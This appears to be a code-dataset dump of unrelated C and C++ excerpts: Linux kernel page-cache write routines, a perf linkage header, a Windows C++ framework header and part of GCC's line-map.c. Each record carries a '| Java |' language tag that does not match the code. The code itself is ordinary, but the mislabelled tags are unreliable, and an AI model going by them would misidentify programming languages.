return aops->write_end(file, mapping, pos, len, copied, page, fsdata);
}
EXPORT_SYMBOL(pagecache_write_end);
ssize_t
generic_file_direct_write_iter(struct kiocb *iocb, struct iov_iter *iter,
loff_t pos, loff_t *ppos, size_t count)
{
struct file *file = iocb->ki_filp;
struct address_space *mapping = file->f_mapping;
struct inode *inode = mapping->host;
ssize_t written;
size_t write_len;
pgoff_t end;
if (count != iov_iter_count(iter)) {
written = iov_iter_shorten(iter, count);
if (written)
goto out;
}
write_len = count;
end = (pos + write_len - 1) >> PAGE_CACHE_SHIFT;
written = filemap_write_and_wait_range(mapping, pos, pos + write_len - 1);
if (written)
goto out;
/*
* After a write we want buffered reads to be sure to go to disk to get
* the new data. We invalidate clean cached page from the region we're
* about to write. We do this *before* the write so that we can return
* without clobbering -EIOCBQUEUED from ->direct_IO().
*/
if (mapping->nrpages) {
written = invalidate_inode_pages2_range(mapping,
pos >> PAGE_CACHE_SHIFT, end);
/*
* If a page can not be invalidated, return 0 to fall back
* to buffered write.
*/
if (written) {
if (written == -EBUSY)
return 0;
goto out;
}
}
written = mapping->a_ops->direct_IO(WRITE, iocb, iter, pos);
/*
* Finally, try again to invalidate clean pages which might have been
* cached by non-direct readahead, or faulted in by get_user_pages()
* if the source of the write was an mmap'ed region of the file
* we're writing. Either one is a pretty crazy thing to do,
* so we don't support it 100%. If this invalidation
* fails, tough, the write still worked...
*/
if (mapping->nrpages) {
invalidate_inode_pages2_range(mapping,
pos >> PAGE_CACHE_SHIFT, end);
}
if (written > 0) {
pos += written;
if (pos > i_size_read(inode) && !S_ISBLK(inode->i_mode)) {
i_size_write(inode, pos);
mark_inode_dirty(inode);
}
*ppos = pos;
}
out:
return written;
}
EXPORT_SYMBOL(generic_file_direct_write_iter);
ssize_t
generic_file_direct_write(struct kiocb *iocb, const struct iovec *iov,
unsigned long *nr_segs, loff_t pos, loff_t *ppos,
size_t count, size_t ocount)
{
struct iov_iter iter;
ssize_t ret;
iov_iter_init(&iter, iov, *nr_segs, ocount, 0);
ret = generic_file_direct_write_iter(iocb, &iter, pos, ppos, count);
/* generic_file_direct_write_iter() might have shortened the vec */
if (*nr_segs != iter.nr_segs)
*nr_segs = iter.nr_segs;
return ret;
}
EXPORT_SYMBOL(generic_file_direct_write);
/*
* Find or create a page at the given pagecache position. Return the locked
* page. This function is specifically for buffered writes.
*/
struct page *grab_cache_page_write_begin(struct address_space *mapping,
pgoff_t index, unsigned flags)
{
int status;
gfp_t gfp_mask;
struct page *page;
gfp_t gfp_notmask = 0;
gfp_mask = mapping_gfp_mask(mapping);
if (mapping_cap_account_dirty(mapping))
gfp_mask |= __GFP_WRITE;
if (flags & AOP_FLAG_NOFS)
gfp_notmask = __GFP_FS;
repeat:
page = find_lock_page(mapping, index);
if (page)
goto found;
retry:
page = __page_cache_alloc(gfp_mask & ~gfp_notmask);
if (!page)
return NULL;
if (is_cma_pageblock(page)) {
__free_page(page);
gfp_notmask |= __GFP_MOVABLE;
goto retry;
}
status = add_to_page_cache_lru(page, mapping, index,
GFP_KERNEL & ~gfp_notmask);
if (unlikely(status)) {
page_cache_release(page);
if (status == -EEXIST)
goto repeat;
return NULL;
}
found:
wait_on_page_writeback(page);
return page;
}
EXPORT_SYMBOL(grab_cache_page_write_begin);
static ssize_t generic_perform_write(struct file *file,
struct iov_iter *i, loff_t pos)
{
struct address_space *mapping = file->f_mapping;
const struct address_space_operations *a_ops = mapping->a_ops;
long status = 0;
ssize_t written = 0;
unsigned int flags = 0;
/*
* Copies from kernel address space cannot fail (NFSD is a big user).
*/
if (segment_eq(get_fs(), KERNEL_DS))
flags |= AOP_FLAG_UNINTERRUPTIBLE;
do {
struct page *page;
unsigned long offset; /* Offset into pagecache page */
unsigned long bytes; /* Bytes to write to page */
size_t copied; /* Bytes copied from user */
void *fsdata;
offset = (pos & (PAGE_CACHE_SIZE - 1));
bytes = min_t(unsigned long, PAGE_CACHE_SIZE - offset,
iov_iter_count(i));
again:
/*
* Bring in the user page that we will copy from _first_.
* Otherwise there's a nasty deadlock on copying from the
* same page as we're writing to, without it being marked
* up-to-date.
*
* Not only is this an optimisation, but it is also required
* to check that the address is actually valid, when atomic
* usercopies are used, below.
*/
if (unlikely(iov_iter_fault_in_readable(i, bytes))) {
status = -EFAULT;
break;
}
status = a_ops->write_begin(file, mapping, pos, bytes, flags,
&page, &fsdata);
if (unlikely(status))
break;
if (mapping_writably_mapped(mapping))
flush_dcache_page(page);
pagefault_disable();
copied = iov_iter_copy_from_user_atomic(page, i, offset, bytes);
pagefault_enable();
flush_dcache_page(page);
mark_page_accessed(page);
status = a_ops->write_end(file, mapping, pos, bytes, copied,
page, fsdata);
if (unlikely(status < 0))
break;
copied = status;
cond_resched();
iov_iter_advance(i, copied);
if (unlikely(copied == 0)) {
/*
* If we were unable to copy any data at all, we must
* fall back to a single segment length write.
*
* If we didn't fallback here, we could livelock
* because not all segments in the iov can be copied at
* once without a pagefault.
*/
bytes = min_t(unsigned long, PAGE_CACHE_SIZE - offset,
iov_iter_single_seg_count(i));
goto again;
}
pos += copied;
written += copied;
balance_dirty_pages_ratelimited(mapping);
if (fatal_signal_pending(current)) {
status = -EINTR;
break;
}
} while (iov_iter_count(i));
return written ? written : status;
}
ssize_t
generic_file_buffered_write_iter(struct kiocb *iocb, struct iov_iter *iter,
loff_t pos, loff_t *ppos, size_t count, ssize_t written)
{
struct file *file = iocb->ki_filp;
ssize_t status;
if ((count + written) != iov_iter_count(iter)) {
int rc = iov_iter_shorten(iter, count + written);
if (rc)
return rc;
}
status = generic_perform_write(file, iter, pos);
if (likely(status >= 0)) {
written += status;
*ppos = pos + status;
}
return written ? written : status;
}
EXPORT_SYMBOL(generic_file_buffered_write_iter);
ssize_t
generic_file_buffered_write(struct kiocb *iocb, const struct iovec *iov,
unsigned long nr_segs, loff_t pos, loff_t *ppos,
size_t count, ssize_t written)
{
struct iov_iter iter;
iov_iter_init(&iter, iov, nr_segs, count, written);
return generic_file_buffered_write_iter(iocb, &iter, pos, ppos,
count, written);
}
EXPORT_SYMBOL(generic_file_buffered_write);
/**
* __generic_file_aio_write - write data to a file
* @iocb: IO state structure (file, offset, etc.)
* @iter: iov_iter specifying memory to write
* @ppos: position where to write
*
* This function does all the work needed for actually writing data to a
* file. It does all basic checks, removes SUID from the file, updates
* modification times and calls proper subroutines depending on whether we
* do direct IO or a standard buffered write.
*
* It expects i_mutex to be grabbed unless we work on a block device or similar
* object which does not need locking at all.
*
* This function does *not* take care of syncing data in case of O_SYNC write.
* A caller has to handle it. This is mainly due to the fact that we want to
* avoid syncing under i_mutex.
*/
ssize_t __generic_file_write_iter(struct kiocb *iocb, struct iov_iter *iter,
loff_t *ppos)
{
struct file *file = iocb->ki_filp;
struct address_space * mapping = file->f_mapping;
size_t count; /* after file limit checks */
struct inode *inode = mapping->host;
loff_t pos;
ssize_t written;
ssize_t err;
count = iov_iter_count(iter);
pos = *ppos;
/* We can write back this queue in page reclaim */
current->backing_dev_info = mapping->backing_dev_info;
written = 0;
err = generic_write_checks(file, &pos, &count, S_ISBLK(inode->i_mode));
if (err)
goto out;
if (count == 0)
goto out;
err = file_remove_suid(file);
if (err)
goto out;
err = file_update_time(file);
if (err)
goto out;
/* coalesce the iovecs and go direct-to-BIO for O_DIRECT */
if (unlikely(file->f_flags & O_DIRECT)) {
loff_t endbyte;
ssize_t written_buffered;
written = generic_file_direct_write_iter(iocb, iter, pos,
ppos, count);
if (written < 0 || written == count)
goto out;
/*
* direct-io write to a hole: fall through to buffered I/O
* for completing the rest of the request.
*/
pos += written;
count -= written;
iov_iter_advance(iter, written);
written_buffered = generic_file_buffered_write_iter(iocb, iter,
pos, ppos, count, written);
/*
* If generic_file_buffered_write() retuned a synchronous error
* then we want to return the number of bytes which were
* direct-written, or the error code if that was zero. Note
* that this differs from normal direct-io semantics, which
* will return -EFOO even if some bytes were written.
*/
if (written_buffered < 0) {
err = written_buffered;
goto out;
}
/*
* We need to ensure that the page cache pages are written to
* disk and invalidated to preserve the expected O_DIRECT
* semantics.
*/
endbyte = pos + written_buffered - written - 1;
err = filemap_write_and_wait_range(file->f_mapping, pos, endbyte);
if (err == 0) {
written = written_buffered;
invalidate_mapping_pages(mapping,
pos >> PAGE_CACHE_SHIFT,
endbyte >> PAGE_CACHE_SHIFT);
} else {
/*
* We don't know how much we wrote, so just return
* the number of bytes which were direct-written
*/
}
} else {
iter->count = count;
written = generic_file_buffered_write_iter(iocb, iter,
pos, ppos, count, written);
}
out:
current->backing_dev_info = NULL;
return written ? written : err;
}
EXPORT_SYMBOL(__generic_file_write_iter);
ssize_t generic_file_write_iter(struct kiocb *iocb, struct iov_iter *iter,
loff_t pos)
{
struct file *file = iocb->ki_filp;
struct inode *inode = file->f_mapping->host;
ssize_t ret;
mutex_lock(&inode->i_mutex);
ret = __generic_file_write_iter(iocb, iter, &iocb->ki_pos);
mutex_unlock(&inode->i_mutex);
if (ret > 0 || ret == -EIOCBQUEUED) {
ssize_t err;
err = generic_write_sync(file, pos, ret);
if (err < 0 && ret > 0)
ret = err;
}
return ret;
}
EXPORT_SYMBOL(generic_file_write_iter);
ssize_t
__generic_file_aio_write(struct kiocb *iocb, const struct iovec *iov,
unsigned long nr_segs, loff_t *ppos)
{
struct iov_iter iter;
size_t count;
int ret;
count = 0;
ret = generic_segment_checks(iov, &nr_segs, &count, VERIFY_READ);
if (ret)
goto out;
iov_iter_init(&iter, iov, nr_segs, count, 0);
ret = __generic_file_write_iter(iocb, &iter, ppos);
out:
return ret;
}
EXPORT_SYMBOL(__generic_file_aio_write);
/**
* generic_file_aio_write - write data to a file
* @iocb: IO state structure
* @iov: vector with data to write
* @nr_segs: number of segments in the vector
* @pos: position in file where to write
*
* This is a wrapper around __generic_file_aio_write() to be used by most
* filesystems. It takes care of syncing the file in case of O_SYNC file
* and acquires i_mutex as needed.
*/
ssize_t generic_file_aio_write(struct kiocb *iocb, const struct iovec *iov,
unsigned long nr_segs, loff_t pos)
{
struct file *file = iocb->ki_filp;
struct inode *inode = file->f_mapping->host;
struct blk_plug plug;
ssize_t ret;
BUG_ON(iocb->ki_pos != pos);
sb_start_write(inode->i_sb);
mutex_lock(&inode->i_mutex);
blk_start_plug(&plug);
ret = __generic_file_aio_write(iocb, iov, nr_segs, &iocb->ki_pos);
mutex_unlock(&inode->i_mutex);
if (ret > 0 || ret == -EIOCBQUEUED) {
ssize_t err;
err = generic_write_sync(file, pos, ret);
if (err < 0 && ret > 0)
ret = err;
}
blk_finish_plug(&plug);
sb_end_write(inode->i_sb);
return ret;
}
EXPORT_SYMBOL(generic_file_aio_write);
/**
* try_to_release_page() - release old fs-specific metadata on a page
*
* @page: the page which the kernel is trying to free
* @gfp_mask: memory allocation flags (and I/O mode)
*
* The address_space is to try to release any data against the page
* (presumably at page->private). If the release was successful, return `1'.
* Otherwise return zero.
*
* This may also be called if PG_fscache is set on a page, indicating that the
* page is known to the local caching routines.
*
* The @gfp_mask argument specifies whether I/O may be performed to release
* this page (__GFP_IO), and whether the call may block (__GFP_WAIT & __GFP_FS).
*
*/
int try_to_release_page(struct page *page, gfp_t gfp_mask)
{
struct address_space * const mapping = page->mapping;
BUG_ON(!PageLocked(page));
if (PageWriteback(page))
return 0;
if (mapping && mapping->a_ops->releasepage)
return mapping->a_ops->releasepage(page, gfp_mask);
return try_to_free_buffers(page);
}
EXPORT_SYMBOL(try_to_release_page);
| Java |
#ifndef PERF_LINUX_LINKAGE_H_
#define PERF_LINUX_LINKAGE_H_
/* linkage.h ... for including arch/x86/lib/memcpy_64.S */
#define ENTRY(name) \
.globl name; \
name:
#define ENDPROC(name)
#endif /* PERF_LINUX_LINKAGE_H_ */
| Java |
#pragma once
#include <Nena\Window.h>
#include <Nena\StepTimer.h>
#include <Nena\DeviceResources.h>
#include <Nena\RenderTargetOverlay.h>
#include "TextRenderer.h"
namespace Framework
{
namespace Application
{
void Start();
void Stop();
struct Window;
struct Dispatcher
{
Framework::Application::Window *Host;
Framework::Application::Dispatcher::Dispatcher(
Framework::Application::Window *host
);
LRESULT Framework::Application::Dispatcher::Process(
_In_::HWND hwnd,
_In_::UINT umsg,
_In_::WPARAM wparam,
_In_::LPARAM lparam
);
};
struct WindowDeviceNotify : Nena::Graphics::IDeviceNotify
{
Framework::Application::Window *Host;
Framework::Application::WindowDeviceNotify::WindowDeviceNotify(Framework::Application::Window *host);
virtual void OnDeviceLost() override;
virtual void OnDeviceRestored() override;
};
struct Window : Nena::Application::Window
{
friend WindowDeviceNotify;
Framework::Application::Window::Window();
::BOOL Framework::Application::Window::Update();
LRESULT Framework::Application::Window::OnMouseLeftButtonPressed(_In_ ::INT16 x, _In_ ::INT16 y);
LRESULT Framework::Application::Window::OnMouseRightButtonPressed(_In_ ::INT16 x, _In_ ::INT16 y);
LRESULT Framework::Application::Window::OnMouseLeftButtonReleased(_In_ ::INT16 x, _In_ ::INT16 y);
LRESULT Framework::Application::Window::OnMouseRightButtonReleased(_In_::INT16 x, _In_::INT16 y);
LRESULT Framework::Application::Window::OnMouseMoved(_In_::INT16 x, _In_::INT16 y);
LRESULT Framework::Application::Window::OnKeyPressed(::UINT16 virtualKey);
LRESULT Framework::Application::Window::OnResized();
static Framework::Application::Window *Framework::Application::Window::GetForCurrentThread();
Nena::Graphics::OverlayResources Overlay;
Nena::Graphics::DeviceResources Graphics;
Nena::Simulation::StepTimer Timer;
TextRenderer Renderer;
WindowDeviceNotify DeviceNotify;
Dispatcher EventHandler;
};
}
} | Java |
/* Map (unsigned int) keys to (source file, line, column) triples.
Copyright (C) 2001-2016 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 3, or (at your option) any
later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; see the file COPYING3. If not see
<http://www.gnu.org/licenses/>.
In other words, you are welcome to use, share and improve this program.
You are forbidden to forbid anyone else to use, share and improve
what you give them. Help stamp out software-hoarding! */
#include "config.h"
#include "system.h"
#include "line-map.h"
#include "cpplib.h"
#include "internal.h"
#include "hashtab.h"
/* Do not track column numbers higher than this one. As a result, the
range of column_bits is [12, 18] (or 0 if column numbers are
disabled). */
const unsigned int LINE_MAP_MAX_COLUMN_NUMBER = (1U << 12);
/* Do not pack ranges if locations get higher than this.
If you change this, update:
gcc.dg/plugin/location_overflow_plugin.c
gcc.dg/plugin/location-overflow-test-*.c. */
const source_location LINE_MAP_MAX_LOCATION_WITH_PACKED_RANGES = 0x50000000;
/* Do not track column numbers if locations get higher than this.
If you change this, update:
gcc.dg/plugin/location_overflow_plugin.c
gcc.dg/plugin/location-overflow-test-*.c. */
const source_location LINE_MAP_MAX_LOCATION_WITH_COLS = 0x60000000;
/* Highest possible source location encoded within an ordinary or
macro map. */
const source_location LINE_MAP_MAX_SOURCE_LOCATION = 0x70000000;
static void trace_include (const struct line_maps *, const line_map_ordinary *);
static const line_map_ordinary * linemap_ordinary_map_lookup (struct line_maps *,
source_location);
static const line_map_macro* linemap_macro_map_lookup (struct line_maps *,
source_location);
static source_location linemap_macro_map_loc_to_def_point
(const line_map_macro *, source_location);
static source_location linemap_macro_map_loc_unwind_toward_spelling
(line_maps *set, const line_map_macro *, source_location);
static source_location linemap_macro_map_loc_to_exp_point
(const line_map_macro *, source_location);
static source_location linemap_macro_loc_to_spelling_point
(struct line_maps *, source_location, const line_map_ordinary **);
static source_location linemap_macro_loc_to_def_point (struct line_maps *,
source_location,
const line_map_ordinary **);
static source_location linemap_macro_loc_to_exp_point (struct line_maps *,
source_location,
const line_map_ordinary **);
/* Counters defined in macro.c. */
extern unsigned num_expanded_macros_counter;
extern unsigned num_macro_tokens_counter;
/* Hash function for location_adhoc_data hashtable. */
static hashval_t
location_adhoc_data_hash (const void *l)
{
const struct location_adhoc_data *lb =
(const struct location_adhoc_data *) l;
return ((hashval_t) lb->locus
+ (hashval_t) lb->src_range.m_start
+ (hashval_t) lb->src_range.m_finish
+ (size_t) lb->data);
}
/* Compare function for location_adhoc_data hashtable. */
static int
location_adhoc_data_eq (const void *l1, const void *l2)
{
const struct location_adhoc_data *lb1 =
(const struct location_adhoc_data *) l1;
const struct location_adhoc_data *lb2 =
(const struct location_adhoc_data *) l2;
return (lb1->locus == lb2->locus
&& lb1->src_range.m_start == lb2->src_range.m_start
&& lb1->src_range.m_finish == lb2->src_range.m_finish
&& lb1->data == lb2->data);
}
/* Update the hashtable when location_adhoc_data is reallocated. */
static int
location_adhoc_data_update (void **slot, void *data)
{
*((char **) slot) += *((long long *) data);
return 1;
}
/* Rebuild the hash table from the location adhoc data. */
void
rebuild_location_adhoc_htab (struct line_maps *set)
{
unsigned i;
set->location_adhoc_data_map.htab =
htab_create (100, location_adhoc_data_hash, location_adhoc_data_eq, NULL);
for (i = 0; i < set->location_adhoc_data_map.curr_loc; i++)
htab_find_slot (set->location_adhoc_data_map.htab,
set->location_adhoc_data_map.data + i, INSERT);
}
/* Helper function for get_combined_adhoc_loc.
Can the given LOCUS + SRC_RANGE and DATA pointer be stored compactly
within a source_location, without needing to use an ad-hoc location. */
static bool
can_be_stored_compactly_p (struct line_maps *set,
source_location locus,
source_range src_range,
void *data)
{
/* If there's an ad-hoc pointer, we can't store it directly in the
source_location, we need the lookaside. */
if (data)
return false;
/* We only store ranges that begin at the locus and that are sufficiently
"sane". */
if (src_range.m_start != locus)
return false;
if (src_range.m_finish < src_range.m_start)
return false;
if (src_range.m_start < RESERVED_LOCATION_COUNT)
return false;
if (locus >= LINE_MAP_MAX_LOCATION_WITH_PACKED_RANGES)
return false;
/* All 3 locations must be within ordinary maps, typically, the same
ordinary map. */
source_location lowest_macro_loc = LINEMAPS_MACRO_LOWEST_LOCATION (set);
if (locus >= lowest_macro_loc)
return false;
if (src_range.m_start >= lowest_macro_loc)
return false;
if (src_range.m_finish >= lowest_macro_loc)
return false;
/* Passed all tests. */
return true;
}
/* Combine LOCUS and DATA to a combined adhoc loc. */
source_location
get_combined_adhoc_loc (struct line_maps *set,
source_location locus,
source_range src_range,
void *data)
{
struct location_adhoc_data lb;
struct location_adhoc_data **slot;
if (IS_ADHOC_LOC (locus))
locus
= set->location_adhoc_data_map.data[locus & MAX_SOURCE_LOCATION].locus;
if (locus == 0 && data == NULL)
return 0;
/* Any ordinary locations ought to be "pure" at this point: no
compressed ranges. */
linemap_assert (locus < RESERVED_LOCATION_COUNT
|| locus >= LINE_MAP_MAX_LOCATION_WITH_PACKED_RANGES
|| locus >= LINEMAPS_MACRO_LOWEST_LOCATION (set)
|| pure_location_p (set, locus));
/* Consider short-range optimization. */
if (can_be_stored_compactly_p (set, locus, src_range, data))
{
/* The low bits ought to be clear. */
linemap_assert (pure_location_p (set, locus));
const line_map *map = linemap_lookup (set, locus);
const line_map_ordinary *ordmap = linemap_check_ordinary (map);
unsigned int int_diff = src_range.m_finish - src_range.m_start;
unsigned int col_diff = (int_diff >> ordmap->m_range_bits);
if (col_diff < (1U << ordmap->m_range_bits))
{
source_location packed = locus | col_diff;
set->num_optimized_ranges++;
return packed;
}
}
/* We can also compactly store locations
when locus == start == finish (and data is NULL). */
if (locus == src_range.m_start
&& locus == src_range.m_finish
&& !data)
return locus;
if (!data)
set->num_unoptimized_ranges++;
lb.locus = locus;
lb.src_range = src_range;
lb.data = data;
slot = (struct location_adhoc_data **)
htab_find_slot (set->location_adhoc_data_map.htab, &lb, INSERT);
if (*slot == NULL)
{
if (set->location_adhoc_data_map.curr_loc >=
set->location_adhoc_data_map.allocated)
{
char *orig_data = (char *) set->location_adhoc_data_map.data;
long long offset;
/* Cast away extern "C" from the type of xrealloc. */
line_map_realloc reallocator = (set->reallocator
? set->reallocator
: (line_map_realloc) xrealloc);
if (set->location_adhoc_data_map.allocated == 0)
set->location_adhoc_data_map.allocated = 128;
else
set->location_adhoc_data_map.allocated *= 2;
set->location_adhoc_data_map.data = (struct location_adhoc_data *)
reallocator (set->location_adhoc_data_map.data,
set->location_adhoc_data_map.allocated
* sizeof (struct location_adhoc_data));
offset = (char *) (set->location_adhoc_data_map.data) - orig_data;
if (set->location_adhoc_data_map.allocated > 128)
htab_traverse (set->location_adhoc_data_map.htab,
location_adhoc_data_update, &offset);
}
*slot = set->location_adhoc_data_map.data
+ set->location_adhoc_data_map.curr_loc;
set->location_adhoc_data_map.data[set->location_adhoc_data_map.curr_loc++]
= lb;
}
return ((*slot) - set->location_adhoc_data_map.data) | 0x80000000;
}
/* Return the data for the adhoc loc. */
void *
get_data_from_adhoc_loc (struct line_maps *set, source_location loc)
{
linemap_assert (IS_ADHOC_LOC (loc));
return set->location_adhoc_data_map.data[loc & MAX_SOURCE_LOCATION].data;
}
/* Return the location for the adhoc loc. */
source_location
get_location_from_adhoc_loc (struct line_maps *set, source_location loc)
{
linemap_assert (IS_ADHOC_LOC (loc));
return set->location_adhoc_data_map.data[loc & MAX_SOURCE_LOCATION].locus;
}
/* Return the source_range for adhoc location LOC. */
static source_range
get_range_from_adhoc_loc (struct line_maps *set, source_location loc)
{
linemap_assert (IS_ADHOC_LOC (loc));
return set->location_adhoc_data_map.data[loc & MAX_SOURCE_LOCATION].src_range;
}
/* Get the source_range of location LOC, either from the ad-hoc
lookaside table, or embedded inside LOC itself. */
source_range
get_range_from_loc (struct line_maps *set,
source_location loc)
{
if (IS_ADHOC_LOC (loc))
return get_range_from_adhoc_loc (set, loc);
/* For ordinary maps, extract packed range. */
if (loc >= RESERVED_LOCATION_COUNT
&& loc < LINEMAPS_MACRO_LOWEST_LOCATION (set)
&& loc <= LINE_MAP_MAX_LOCATION_WITH_PACKED_RANGES)
{
const line_map *map = linemap_lookup (set, loc);
const line_map_ordinary *ordmap = linemap_check_ordinary (map);
source_range result;
int offset = loc & ((1 << ordmap->m_range_bits) - 1);
result.m_start = loc - offset;
result.m_finish = result.m_start + (offset << ordmap->m_range_bits);
return result;
}
return source_range::from_location (loc);
}
/* Get whether location LOC is a "pure" location, or
whether it is an ad-hoc location, or embeds range information. */
bool
pure_location_p (line_maps *set, source_location loc)
{
if (IS_ADHOC_LOC (loc))
return false;
const line_map *map = linemap_lookup (set, loc);
const line_map_ordinary *ordmap = linemap_check_ordinary (map);
if (loc & ((1U << ordmap->m_range_bits) - 1))
return false;
return true;
}
/* Finalize the location_adhoc_data structure. */
void
location_adhoc_data_fini (struct line_maps *set)
{
htab_delete (set->location_adhoc_data_map.htab);
}
/* Initialize a line map set. */
void
linemap_init (struct line_maps *set,
source_location builtin_location)
{
memset (set, 0, sizeof (struct line_maps));
set->highest_location = RESERVED_LOCATION_COUNT - 1;
set->highest_line = RESERVED_LOCATION_COUNT - 1;
set->location_adhoc_data_map.htab =
htab_create (100, location_adhoc_data_hash, location_adhoc_data_eq, NULL);
set->builtin_location = builtin_location;
}
/* Check for and warn about line_maps entered but not exited. */
void
linemap_check_files_exited (struct line_maps *set)
{
const line_map_ordinary *map;
/* Depending upon whether we are handling preprocessed input or
not, this can be a user error or an ICE. */
for (map = LINEMAPS_LAST_ORDINARY_MAP (set);
! MAIN_FILE_P (map);
map = INCLUDED_FROM (set, map))
fprintf (stderr, "line-map.c: file \"%s\" entered but not left\n",
ORDINARY_MAP_FILE_NAME (map));
}
/* Create a new line map in the line map set SET, and return it.
REASON is the reason of creating the map. It determines the type
of map created (ordinary or macro map). Note that ordinary maps and
macro maps are allocated in different memory location. */
static struct line_map *
new_linemap (struct line_maps *set,
enum lc_reason reason)
{
/* Depending on this variable, a macro map would be allocated in a
different memory location than an ordinary map. */
bool macro_map_p = (reason == LC_ENTER_MACRO);
struct line_map *result;
if (LINEMAPS_USED (set, macro_map_p) == LINEMAPS_ALLOCATED (set, macro_map_p))
{
/* We ran out of allocated line maps. Let's allocate more. */
unsigned alloc_size;
/* Cast away extern "C" from the type of xrealloc. */
line_map_realloc reallocator = (set->reallocator
? set->reallocator
: (line_map_realloc) xrealloc);
line_map_round_alloc_size_func round_alloc_size =
set->round_alloc_size;
size_t map_size = (macro_map_p
? sizeof (line_map_macro)
: sizeof (line_map_ordinary));
/* We are going to execute some dance to try to reduce the
overhead of the memory allocator, in case we are using the
ggc-page.c one.
The actual size of memory we are going to get back from the
allocator is the smallest power of 2 that is greater than the
size we requested. So let's consider that size then. */
alloc_size =
(2 * LINEMAPS_ALLOCATED (set, macro_map_p) + 256)
* map_size;
/* Get the actual size of memory that is going to be allocated
by the allocator. */
alloc_size = round_alloc_size (alloc_size);
/* Now alloc_size contains the exact memory size we would get if
we have asked for the initial alloc_size amount of memory.
Let's get back to the number of macro map that amounts
to. */
LINEMAPS_ALLOCATED (set, macro_map_p) =
alloc_size / map_size;
/* And now let's really do the re-allocation. */
if (macro_map_p)
{
set->info_macro.maps
= (line_map_macro *) (*reallocator) (set->info_macro.maps,
(LINEMAPS_ALLOCATED (set, macro_map_p)
* map_size));
result = &set->info_macro.maps[LINEMAPS_USED (set, macro_map_p)];
}
else
{
set->info_ordinary.maps =
(line_map_ordinary *) (*reallocator) (set->info_ordinary.maps,
(LINEMAPS_ALLOCATED (set, macro_map_p)
* map_size));
result = &set->info_ordinary.maps[LINEMAPS_USED (set, macro_map_p)];
}
memset (result, 0,
((LINEMAPS_ALLOCATED (set, macro_map_p)
- LINEMAPS_USED (set, macro_map_p))
* map_size));
}
else
{
if (macro_map_p)
result = &set->info_macro.maps[LINEMAPS_USED (set, macro_map_p)];
else
result = &set->info_ordinary.maps[LINEMAPS_USED (set, macro_map_p)];
}
LINEMAPS_USED (set, macro_map_p)++;
result->reason = reason;
return result;
}
/* Add a mapping of logical source line to physical source file and
line number.
The text pointed to by TO_FILE must have a lifetime
at least as long as the final call to lookup_line (). An empty
TO_FILE means standard input. If reason is LC_LEAVE, and
TO_FILE is NULL, then TO_FILE, TO_LINE and SYSP are given their
natural values considering the file we are returning to.
FROM_LINE should be monotonic increasing across calls to this
function. A call to this function can relocate the previous set of
maps, so any stored line_map pointers should not be used. */
const struct line_map *
linemap_add (struct line_maps *set, enum lc_reason reason,
unsigned int sysp, const char *to_file, linenum_type to_line)
{
/* Generate a start_location above the current highest_location.
If possible, make the low range bits be zero. */
source_location start_location;
if (set->highest_location < LINE_MAP_MAX_LOCATION_WITH_COLS)
{
start_location = set->highest_location + (1 << set->default_range_bits);
if (set->default_range_bits)
start_location &= ~((1 << set->default_range_bits) - 1);
linemap_assert (0 == (start_location
& ((1 << set->default_range_bits) - 1)));
}
else
start_location = set->highest_location + 1;
linemap_assert (!(LINEMAPS_ORDINARY_USED (set)
&& (start_location
< MAP_START_LOCATION (LINEMAPS_LAST_ORDINARY_MAP (set)))));
/* When we enter the file for the first time reason cannot be
LC_RENAME. */
linemap_assert (!(set->depth == 0 && reason == LC_RENAME));
/* If we are leaving the main file, return a NULL map. */
if (reason == LC_LEAVE
&& MAIN_FILE_P (LINEMAPS_LAST_ORDINARY_MAP (set))
&& to_file == NULL)
{
set->depth--;
return NULL;
}
linemap_assert (reason != LC_ENTER_MACRO);
line_map_ordinary *map = linemap_check_ordinary (new_linemap (set, reason));
if (to_file && *to_file == '\0' && reason != LC_RENAME_VERBATIM)
to_file = "<stdin>";
if (reason == LC_RENAME_VERBATIM)
reason = LC_RENAME;
if (reason == LC_LEAVE)
{
/* When we are just leaving an "included" file, and jump to the next
location inside the "includer" right after the #include
"included", this variable points the map in use right before the
#include "included", inside the same "includer" file. */
line_map_ordinary *from;
bool error;
if (MAIN_FILE_P (map - 1))
{
/* So this _should_ mean we are leaving the main file --
effectively ending the compilation unit. But to_file not
being NULL means the caller thinks we are leaving to
another file. This is an erroneous behaviour but we'll
try to recover from it. Let's pretend we are not leaving
the main file. */
error = true;
reason = LC_RENAME;
from = map - 1;
}
else
{
/* (MAP - 1) points to the map we are leaving. The
map from which (MAP - 1) got included should be the map
that comes right before MAP in the same file. */
from = INCLUDED_FROM (set, map - 1);
error = to_file && filename_cmp (ORDINARY_MAP_FILE_NAME (from),
to_file);
}
/* Depending upon whether we are handling preprocessed input or
not, this can be a user error or an ICE. */
if (error)
fprintf (stderr, "line-map.c: file \"%s\" left but not entered\n",
to_file);
/* A TO_FILE of NULL is special - we use the natural values. */
if (error || to_file == NULL)
{
to_file = ORDINARY_MAP_FILE_NAME (from);
to_line = SOURCE_LINE (from, from[1].start_location);
sysp = ORDINARY_MAP_IN_SYSTEM_HEADER_P (from);
}
}
map->sysp = sysp;
map->start_location = start_location;
map->to_file = to_file;
map->to_line = to_line;
LINEMAPS_ORDINARY_CACHE (set) = LINEMAPS_ORDINARY_USED (set) - 1;
map->m_column_and_range_bits = 0;
map->m_range_bits = 0;
set->highest_location = start_location;
set->highest_line = start_location;
set->max_column_hint = 0;
/* This assertion is placed after set->highest_location has
been updated, since the latter affects
linemap_location_from_macro_expansion_p, which ultimately affects
pure_location_p. */
linemap_assert (pure_location_p (set, start_location));
if (reason == LC_ENTER)
{
map->included_from =
set->depth == 0 ? -1 : (int) (LINEMAPS_ORDINARY_USED (set) - 2);
set->depth++;
if (set->trace_includes)
trace_include (set, map);
}
else if (reason == LC_RENAME)
map->included_from = ORDINARY_MAP_INCLUDER_FILE_INDEX (&map[-1]);
else if (reason == LC_LEAVE)
{
set->depth--;
map->included_from =
ORDINARY_MAP_INCLUDER_FILE_INDEX (INCLUDED_FROM (set, map - 1));
}
return map;
}
/* Returns TRUE if the line table set tracks token locations across
macro expansion, FALSE otherwise. */
bool
linemap_tracks_macro_expansion_locs_p (struct line_maps *set)
{
return LINEMAPS_MACRO_MAPS (set) != NULL;
}
/* Create a macro map. A macro map encodes source locations of tokens
